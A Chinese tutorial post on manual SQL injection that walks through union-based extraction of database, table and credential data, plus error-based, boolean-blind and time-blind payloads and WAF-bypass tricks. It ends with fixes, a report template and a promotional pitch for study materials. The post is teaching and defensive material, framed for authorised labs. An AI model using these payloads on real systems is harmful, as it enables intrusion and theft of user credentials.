☰
SQL 注入基础原理 + 手工注入测试步骤详解
2026/10/8 6:56:29 网站建设 项目流程

SQL 注入基础原理 + 手工注入测试步骤详解

前言

SQL 注入是 Web 安全领域最经典、历史最悠久的高危漏洞,不管是 CTF Web 题目、SRC 漏洞挖掘,还是企业渗透测试工作,SQL 注入都是必测的核心漏洞。很多新手一上来就直接使用 SQLMap 一键跑注入,虽然工具方便,但不懂手工注入原理,遇到 WAF 拦截、特殊过滤、复杂场景时就无从下手。

本文从底层原理讲起,先解释 SQL 注入到底是什么、漏洞产生的根源,再详细讲解手工注入完整测试流程:判断注入点、判断注入类型、获取字段数、查询回显位置、爆库名、爆表名、爆字段名、读取数据。同时区分数字型注入、字符型注入,附带常用 Payload、报错注入、布尔盲注、时间盲注基础思路,还有漏洞危害、修复方案以及手工注入常见踩坑点。

读完本篇,你能够独立完成基础手工 SQL 注入,看懂 SQLMap 的执行逻辑,在无法使用工具的场景下手动获取数据库数据。适合 Web 安全入门、准备 SRC 挖掘、面试备考的同学。

⚠️ 免责声明
本文内容仅用于本地靶场、获得书面授权的安全测试环境学习研究。严禁在任何未授权网站、业务系统执行 SQL 注入测试,未经授权的渗透测试属于违法行为,所有违规操作带来的法律责任由操作者自行承担。

一、SQL 注入基础原理

1.1 什么是 SQL 注入

Web 应用程序在访问数据库时,会拼接用户输入的内容到 SQL 语句中执行。如果后端没有对用户输入做过滤、转义,攻击者就可以构造特殊的输入,篡改原本 SQL 语句的逻辑,额外执行数据库查询语句,这个行为就是 SQL 注入。

简单一句话:用户可控输入,直接拼入 SQL 语句执行,没有做安全处理,产生 SQL 注入漏洞。

举个简单例子:
网站登录功能,后端原始 SQL 语句:

select * from user where username='$name' and password='$pass';

$name和$pass是前端用户提交的账号密码。
正常用户输入账号 admin,密码 123456,拼接后:

select * from user where username='admin' and password='123456';

攻击者账号输入:admin' or 1=1#
拼接之后 SQL 变成:

select * from user where username='admin' or 1=1#' and password='123456';

#是 SQL 注释符,注释掉后面单引号内容;or 1=1永远成立,直接绕过登录。这就是最经典的登录框 SQL 注入。

核心关键点:用户输入被当成 SQL 代码执行,而不是单纯当做字符串。

1.2 漏洞产生必要条件

  1. 用户输入可控(GET 参数、POST 表单、Cookie、HTTP 头、Referer 等位置);
  2. 输入内容直接拼接进 SQL 语句;
  3. 没有做转义、过滤、预编译处理;
  4. Web 程序能够将 SQL 执行结果或者报错信息返回页面(盲注场景不需要直接回显)。

1.3 SQL 注入的危害

SQL 注入属于高危漏洞,危害极大:

  1. 查询数据库数据,泄露账号、手机号、身份证、订单等敏感信息;
  2. 修改数据库数据,篡改网站内容、修改管理员密码;
  3. 删除数据表、清空数据库(drop、delete语句);
  4. 读取服务器本地文件(MySQL load_file);
  5. 写入一句话木马到服务器,获取 Webshell,接管服务器;
  6. 拿下数据库服务器权限,横向渗透内网。

1.4 SQL 注入分类

按照注入方式,分为两大类:

  1. 有回显注入(联合查询注入 union select)
    页面可以直接返回 SQL 查询结果,最容易测试,优先测试。细分:数字型注入、字符型注入。
  2. 无回显注入(盲注)
    页面不会直接返回查询数据,只能根据页面差异判断结果。
  • 布尔盲注:页面返回两种状态(正常 / 异常),以此判断条件真假;
  • 时间盲注:通过 sleep () 函数,观察页面响应延时判断条件真假;
  • 报错注入:页面输出 SQL 报错信息,利用报错带出数据。

二、数字型注入 vs 字符型注入(重点区分)

数字型注入

参数直接作为数字,SQL 语句不带单引号。
示例 URL:shturl.cc/SR2QcjhGT03IzYNIcL
后端 SQL:select * from news where id=1;
测试 Payload:id=1 and 1=2
如果页面内容消失,说明存在数字型注入。

特点:不需要闭合单引号。

字符型注入

参数作为字符串,SQL 语句使用单引号包裹变量,这是最常见的注入类型。
示例 URL:shturl.cc/RTeItToEUFz4tx3Bt'1'
后端 SQL:select * from news where id='1';
测试 Payload:id=1' and 1=2#
需要用单引号闭合前面字符串,注释掉后面多余单引号。

特点:需要构造单引号闭合,新手最容易漏掉单引号导致注入失败。

注释符说明:

  • #MySQL 行注释;
  • --双横杠加空格(-- 后面必须有空格,MySQL 有效注释);
  • /* 内容 */多行注释。

三、手工联合查询注入完整步骤(有回显场景)

适用场景:页面会展示 SQL 查询的数据,比如新闻详情、用户信息页面。
靶场示例地址:http://127.0.0.1/sqli.php?id=1

步骤 1:判断是否存在注入点

先访问正常链接:?id=1,页面正常显示内容。

  1. 测试单引号:?id=1'
    页面如果抛出数据库报错,大概率是字符型注入;页面无变化则可能是数字型或者过滤了单引号。
  2. 逻辑判断测试:
    ?id=1 and 1=1页面正常;
    ?id=1 and 1=2页面无数据 / 空白;
    两次页面返回不一样,说明参数带入 SQL 执行,存在注入。

字符型注入测试 Payload:?id=1' and 1=2#

步骤 2:查询查询字段数量(order by 排序猜列数)

order by n的作用:按照第 n 列排序,如果表存在 n 列,页面正常;超过列数则报错。

?id=1 order by 1-- ?id=1 order by 2-- ?id=1 order by 3-- ?id=1 order by 4--

假设order by 3正常,order by 4页面报错。说明查询语句返回一共3 个字段。

原理:union 联合查询,前后两个 select 查询,字段数量必须完全一致,否则 SQL 报错。

步骤 3:寻找回显位置

union select 联合查询,前面id=1的数据会正常显示,我们需要让前面查询结果为空,只显示 union 后面我们构造查询的数据,所以id=-1(查询不存在 id)。
Payload:

?id=-1 union select 1,2,3--

页面会显示 2、3 其中数字,数字所在位置就是回显位,可以在这个位置写查询语句。
比如页面显示2和3,代表第 2 列、第 3 列会输出内容,后续把 2/3 替换成查询函数。

步骤 4:获取当前数据库名称

假设回显位是 2,payload:

?id=-1 union select 1,database(),3--

database():MySQL 内置函数,查询当前网站使用的数据库名。
页面返回库名,例如sqli_test。

步骤 5:查询该库下所有数据表名

information_schema 是 MySQL 自带信息库,记录所有库、表、字段元数据,手工注入核心。
Payload:

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--

group_concat()可以把多条结果合并成一行输出,适合页面单行回显场景。
执行后页面会列出这个库所有表,例如users,news。

如果过滤了 group_concat,可以使用 limit 逐行读取:limit 0,1读取第一条,limit 1,1第二条。

步骤 6:查询指定数据表里面所有字段名

假设目标表是users,payload:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--

页面返回字段,比如id,username,password。

步骤 7:读取表中数据(账号密码)

查询 users 表 username、password 字段数据:

?id=-1 union select 1,group_concat(username,0x7c,password),3 from users--

0x7c是十六进制的|,用来分隔账号密码,方便查看。
页面直接输出所有账号密码,注入完成。

四、报错注入基础(无正常回显,但页面打印 SQL 错误)

当页面不会展示查询结果,但是 SQL 语句出错时,会直接打印报错信息,利用报错函数,把查询数据放到报错信息里输出。
MySQL 常用报错函数:updatexml()、extractvalue()。

updatexml 示例 Payload:

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)#

原理:updatexml 第二个参数要求是合法 xpath 格式,我们构造非法格式,将查询结果放在报错信息中带出。

限制:单次输出字符长度有限,需要截取字符串,适合数据量不大场景。

五、布尔盲注基础(页面只有两种状态,无回显、无报错)

页面不会返回数据,也不会输出报错,输入正确条件页面正常,错误条件页面空白,这就是布尔盲注。
核心思路:逐字符猜解数据,利用 ascii () 获取字符编码,对比判断真假。

示例 Payload,猜数据库名第一个字符:

?id=1' and ascii(substr(database(),1,1))>100#
  • substr (字符串,起始位置,截取长度),截取第 1 位字符;
  • ascii () 获取字符 ASCII 码;
    页面正常说明条件成立,字符大于 100;页面异常说明不成立。
    不断调整数字,二分法快速猜出每一位 ASCII,转字符拼接得到完整库名、表名、账号密码。

六、时间盲注基础(页面状态无任何变化,只能看延时)

页面不管条件真假,返回页面完全一样,无法通过页面内容判断,就使用 sleep () 延时函数。
当条件为真,执行 sleep (3),页面延迟 3 秒返回;条件为假,页面立刻返回。

Payload:

?id=1' and if(ascii(substr(database(),1,1))>100,sleep(3),1)#

if (条件,真执行语句,假执行语句)
通过观察页面响应时间,判断条件真假,逐字符猜解数据。

缺点:注入速度很慢,大量请求,容易触发 WAF 和日志告警。

七、POST 型注入、Cookie 注入简单说明

前面演示是 GET 注入,参数放在 URL 中。POST 注入参数放在请求体,Cookie 注入参数放在 Cookie 字段,原理完全一致,只是提交位置不同。

  • POST 注入:Burp 抓包,修改 POST 表单参数,测试单引号、and 1=1;
  • Cookie 注入:修改 Cookie 里面可控参数,后端读取 Cookie 内容拼接 SQL。

很多新手只看 URL 参数,忽略 POST、Cookie、HTTP 头注入点,实战中需要全部测试。

八、SQL 注入常见过滤与基础绕过思路

实战中经常遇到关键词过滤,简单列举基础绕过方法:

  1. 空格过滤:使用/**/代替空格,and/**/1=2;
  2. and、or 被过滤:大小写变形AnD、Or,或者双写anandd;
  3. 单引号转义:考虑宽字节注入(GBK 编码场景,% df%27 吃掉转义符 \);
  4. union select 过滤:注释分割un/**/ion sel/**/ect。

注意:绕过方式要看后端过滤逻辑,没有万能 Payload,需要根据返回信息调整。

九、SQL 注入漏洞修复方案(渗透报告必备)

SQL 注入最根本的解决方案:使用预编译语句(参数化查询),不要直接拼接用户输入到 SQL 语句。

  1. 优先采用预编译、参数化查询,MyBatis #{}、PHP PDO 预编译,用户输入永远作为参数,不会当成 SQL 代码执行,这是核心防御手段;
  2. 输入白名单校验,严格限制输入格式(例如 ID 只能是纯数字);
  3. 最小权限原则:数据库连接账号只分配必要权限,禁止 file、drop 等高权限;
  4. 关闭 Web 应用详细 SQL 报错,不要把数据库原生错误返回前端;
  5. 部署 WAF,拦截注入特征 Payload;
  6. 禁止数据库加载本地文件、写入文件权限;
  7. 定期代码审计,扫描代码中的 SQL 拼接风险点。

❌ 不推荐:单纯过滤关键词、转义特殊字符。过滤很容易被绕过,不能作为主防护手段。

十、手工注入常见误区

❌ 误区 1:能执行 and 1=1 就可以直接拿到数据。
要看页面是否支持回显,没有回显只能盲注,不能 union 查询。

❌ 误区 2:所有注入都是字符型,每次都直接加单引号。
数字型注入多加单引号会直接报错,需要先判断注入类型。

❌ 误区 3:order by 可以无限大,随便填数字。
order by 数字超过表字段数就会报错,用来判断列数。

❌ 误区 4:group_concat 可以一次性读取超大表所有数据。
很多场景存在长度限制,数据量大时要用 limit 逐行读取。

✅ 实战小技巧:
手工注入顺序:判断注入点 → 判断字符 / 数字型 → 猜字段数 → 找回显位 → 依次爆库、表、字段、数据。
每次修改 Payload,观察页面返回变化,根据报错、页面差异调整语句。

十一、漏洞报告模板参考

漏洞类型:SQL 注入漏洞
漏洞描述:网站新闻查询接口 id 参数未做安全处理,用户可控参数直接拼接进 SQL 语句执行,存在联合查询 SQL 注入漏洞。攻击者可以查询数据库内全部敏感数据,存在严重信息泄露风险。
复现步骤:

  1. 访问shturl.cc/jTnxmzSmpMT页面正常展示新闻;
  2. 构造 payload?id=1' and 1=2#,页面无内容,确认存在字符型注入;
  3. 使用 order by 猜解字段数量,确定字段数为 3;
  4. 使用 union select 查询,获取当前数据库名;
  5. 读取数据库内 users 表账号密码等敏感信息。
    漏洞危害:攻击者可获取网站数据库全部数据,泄露用户账号密码,甚至读取服务器文件、写入 Webshell,接管服务器。
    修复建议:使用预编译参数化查询,禁止直接拼接用户输入;关闭前端数据库详细报错;数据库账号采用最小权限原则。

结尾

SQL 注入的核心不在于背诵大量 Payload,而是理解SQL 语句拼接逻辑。工具 SQLMap 本质也是自动化实现手工注入的整套流程。
手工注入是 Web 安全基本功,熟练手工注入之后,你才能看懂工具的行为,遇到 WAF、过滤、特殊编码场景时,自主构造 Payload 突破限制。

推荐练习靶场:SQLi-Labs,覆盖数字注入、字符注入、报错注入、盲注、POST 注入、Cookie 注入等几乎所有基础注入场景,非常适合从零练习手工注入。

学习完注入之后,可以结合前面文章的文件上传、越权漏洞,形成完整 Web 漏洞挖掘知识体系。

如果文章对你有帮助,欢迎点赞收藏,后续持续更新 Web 安全渗透系列文章。


如何系统学习网络安全?

网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。

构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。

如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询